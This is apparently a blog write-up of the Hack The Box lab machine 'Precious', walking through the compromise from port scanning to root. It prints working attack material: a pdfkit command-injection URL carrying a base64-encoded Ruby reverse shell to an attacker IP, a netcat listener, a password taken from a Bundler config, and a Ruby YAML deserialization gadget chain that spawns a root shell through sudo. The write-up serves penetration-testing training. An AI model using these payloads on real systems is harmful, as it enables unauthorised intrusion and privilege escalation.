Hack The Box Intro to Red Team Track

Hack The Box: Precious Walkthrough

Author
Dulanjana Fernando
Sep 19, 2026  •  7 min read  •  20 views
Hack The Box: Precious Walkthrough

Precious is an Easy difficulty HackTheBox machine that features a web service designed to convert web pages into PDF files. Initial access is gained by exploiting a command injection vulnerability in the underlying pdfkit utility to obtain a low-privileged shell as user ruby. Lateral movement to user henry is accomplished by retrieving plaintext credentials stored in a local Bundler configuration file. Privilege escalation to root is achieved by abusing a sudo script that insecurely parses a local dependencies.yml file using Ruby's unsafe YAML.load method, enabling execution of a deserialization gadget chain to spawn an administrative shell.

1. Initial Enumeration and Service Discovery

1.1 Port Scanning

As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O precious.htb -oN nmap_scan to scan the open ports and services.

nmap -sC -sV -O precious.htb -oN nmap_scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-18 07:39 -0400
Nmap scan report for precious.htb (10.129.9.53)
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.62 seconds

Based on the scan results: - Port 22 is running OpenSSH 8.4p1. - Port 80 is running a website on Nginx 1.18.0.

1.2 Web Service Profiling

The website only had a form that accepted a URL input and downloaded a PDF file created using the HTML content of the URL destination. To test this out, I created a simple HTML file and hosted it using a simple Python server by running python -m http.server.

# HTML File Content
< html>
< body>
< h1>Hello World
< /body>
< /html>

Article Image
Precious Machine Website

I successfully submitted the URL, and it downloaded a PDF file.

Article Image
Downloaded PDF file

1.3 Metadata Analysis

I decided to check the metadata of the downloaded PDF because PDFs usually include metadata that reveals the PDF version, the application used to create it, etc.

exiftool vj9xuspssj5uroilljpdjco2n6k6ywh7.pdf
ExifTool Version Number         : 13.55
File Name                       : vj9xuspssj5uroilljpdjco2n6k6ywh7.pdf
Directory                       : .
File Size                       : 10 kB
File Modification Date/Time     : 2026:09:18 07:52:03-04:00
File Access Date/Time           : 2026:09:18 07:52:09-04:00
File Inode Change Date/Time     : 2026:09:18 07:52:03-04:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Based on the results I gathered, the PDF version is 1.4, and it was created using PdfKit version 0.8.6.

2. Initial Access - pdfkit Command Injection (CVE-2022-25765)

Google search revealed that the PDFKit version 0.8.6 is vulnerable to CVE-2022-25765.

2.1 Vulnerability Analysis

CVE-2022-25765 is a critical Remote Code Injection(RCE) vulnerability via command injection. PDFKit library version 0.8.6 uses unsafe shell string interpolation when passing user-supplied URLs or query parameters into the underlying wkhtmltopdf command-line utility without proper sanitisation or escaping.

I was able to find the exploit on ExploitDB: pdfkit v0.8.7.2 - Command Injection and a working POC on GitHub CVE-2022-25765 - pdfkit.

2.2 Exploitation & Foothold

Executing the POC, I was able to create a malicious URL payload that will get me a reverse shell connection to the target machine.

python3 CVE-2022-25765.py --url http://precious.htb --lhost 10.10.16.36 --lport 4444
██╗███╗   ██╗███╗   ██╗ ██████╗  ██████╗███████╗███╗   ██╗████████╗
██║████╗  ██║████╗  ██║██╔═══██╗██╔════╝██╔════╝████╗  ██║╚══██╔══╝
██║██╔██╗ ██║██╔██╗ ██║██║   ██║██║     █████╗  ██╔██╗ ██║   ██║
██║██║╚██╗██║██║╚██╗██║██║   ██║██║     ██╔══╝  ██║╚██╗██║   ██║
██║██║ ╚████║██║ ╚████║╚██████╔╝╚██████╗███████╗██║ ╚████║   ██║
╚═╝╚═╝  ╚═══╝╚═╝  ╚═══╝ ╚═════╝  ╚═════╝╚══════╝╚═╝  ╚═══╝   ╚═╝

                CVE-2022-25765 | pdfkit v0.8.6

                        By INNOCENTx0


════════════════════════════════════════════════════════════                       
  [*] PAYLOAD GENERATION         
════════════════════════════════════════════════════════════                       
  [+] Ruby payload initialized                                                        
      ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.36",4444))'                                                        
  [~] Encoding payload → UTF-8  
  [+] UTF-8 encoding complete                                                                                   
      b'ruby -rsocket -e\'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.36",4444))\' '                                                       
  [~] Encoding bytes → Base64   
  [+] Base64 encoding complete                                                                               cnVieSAtcnNvY2tldCAtZSdzcGF3bigic2giLFs6aW4sOm91dCw6ZXJyXT0+VENQU29ja2V0Lm5ldygiMTAuMTAuMTYuMzYiLDQ0NDQpKScg                                                                                
────────────────────────────────────────────────────────────                       [+] PAYLOAD STATUS: READY  
────────────────────────────────────────────────────────────                                                  
  [!] FINAL PAYLOAD                                                                                     
      http://%20`echo cnVieSAtcnNvY2tldCAtZSdzcGF3bigic2giLFs6aW4sOm91dCw6ZXJyXT0+VENQU29ja2V0Lm5ldygiMTAuMTAuMTYuMzYiLDQ0NDQpKScg | base64 -d | bash`        

═════════════════════════════════════════                                                                    
  [+] TARGET ONLINE     
  [>] Connection established: http://precious.htb                                                         
════════════════════════════════════════════════════════════                         [!] EXPLOITATION SEQUENCE INITIATED                                                                    
  [>] Target: http://precious.htb                                                                        
  [>] Sending crafted request...                                                    [+] EXPLOITATION SUCCESSFUL                                                                            
  [+] Server accepted the request 

After setting up a listener, I submitted the FINAL PAYLOAD through the form and received a reverse shell connection as user ruby.

nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.16.36] from (UNKNOWN) [10.129.9.53] 49520
whoami
ruby

3. Internal Enumeration & Lateral Movement

Local enumeration of the target machine revealed that there are two users: ruby and henry. The current user ruby does not have permission to read the user flag from henry home directory.

Looking through the hidden directories in ruby home directory, I found hardcoded credentials for henry in /home/ruby/.bundle/config.

ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$

Using these credentials, I was able to log in as henry into the target machine via SSH and retrieve the user flag from the home directory.

ssh henry@precious.htb
The authenticity of host 'precious.htb (10.129.9.53)' can't be established.

henry@precious.htb's password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$ whoami
henry
henry@precious:~$ cat user.txt 

4. Privilege Escalation - Insecure YAML Deserialization

4.1 Sudo Audit

By running sudo -l, I discovered that henry is permitted to run one command with sudo privileges without a password.

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

4.2 Code & Vulnerability Analysis

By inspecting the /opt/update_dependencies.rb file, I noticed that it is reading a file named dependencies.yml. But there is no dependencies.yml in the directory, and henry does not have write permission to the /opt directory.

henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
henry@precious:~$

The Ruby code uses the YAML.load() method to load the dependencies.yml file. In Ruby, using YAML.load() function is dangerous because it does not parse text data into hashes or arrays. It can construct live Ruby objects.

When an application calls YAML.load on an untrusted file, an attacker can craft a payload containing special YAML tags (like !ruby/object) that force Ruby to instantiate specific, dangerous objects. When Ruby instantiates or cleans up these objects, it accidentally triggers a chain of method calls (known as a "gadget chain") that executes arbitrary system commands.

4.3 Gadget Chain Execution

Even though henry do not have write permission to the /opt directory, the script is using the relative path to look for dependencies.yml.
This means it will look for the dependencies.yml file in the directory I am running the command from.

# Relative and Absolute Path
YAML.load(File.read("dependencies.yml"))       // This uses the relative path. 
                                               // The script will look for the file in the directory where the command is executed.

YAML.load(File.read("/opt/dependencies.yml"))  // This uses the absolute path
                                               // The script will look for the file only in /opt directory

I was able to find a POC payload here.
After creating a mallicious dependencies.yml file in the home directory of henry, I changed git_set: id to git_set: "/bin/bash".

# dependencies.yml content
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "/bin/bash"
         method_id: :resolve

4.4 Root Shell Acquisition

After running the command with sudo privileges, I was able to escalate privileges as root and retrieve the root flag.

sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `< main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$ nano dependencies.yml
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/home/henry# whoami
root
root@precious:/home/henry# cat /root/root.txt

Congrats! We found both flags!

HTB Machine Completion

Tags:
Intro to Red Team Track pdfkit YAML Deserialization CVE-2022-25765

You might also like...

Hack The Box: Writeup Walkthrough
Hack The Box Intro to Red Team Track
Hack The Box: Writeup Walkthrough

Writeup is an easy-difficulty HackTheBox machine that hosts a vulnerable CMS Mad...

Read More
Hack The Box: Management Walkthrough
Hack The Box
Hack The Box: Management Walkthrough

Management is an Easy difficulty HackTheBox machine that hosts a vulnerable web ...

Read More
Hack The Box: Devvortex Walkthrough
Hack The Box Intro to Red Team Track
Hack The Box: Devvortex Walkthrough

Devvortex is an Easy difficulty HackTheBox machine that hosts a vulnerable Jooml...

Read More

Stay Updated

Get notified when new walkthroughs and security articles are published.